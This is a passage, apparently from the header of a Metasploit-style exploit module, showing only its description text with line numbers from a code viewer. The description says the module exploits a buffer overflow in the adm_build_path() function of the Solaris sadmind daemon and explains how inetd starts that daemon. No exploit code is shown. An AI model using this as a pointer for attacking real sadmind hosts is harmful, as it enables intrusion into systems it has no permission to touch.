'Description' => %q{ |
| 24 |
This module exploits a buffer overflow vulnerability in adm_build_path() |
| 25 |
function of sadmind daemon. |
| 26 |
|
| 27 |
The distributed system administration daemon (sadmind) is the daemon used by |
| 28 |
Solstice AdminSuite applications to perform distributed system administration |
| 29 |
operations. |
| 30 |
|
| 31 |
The sadmind daemon is started automatically by the inetd daemon whenever a |
| 32 |
request to invoke an operation is received. The sadmind daemon process |
| 33 |
continues to run for 15 minutes after the last request is completed, unless a |
| 34 |
different idle-time is specified with the -i command line option. The sadmind |
| 35 |
daemon may be started independently from the command line, for example, at |
| 36 |
system boot time. In this case, the -i option has no effect; sadmind continues |
| 37 |
to run, even if there are no active requests. |
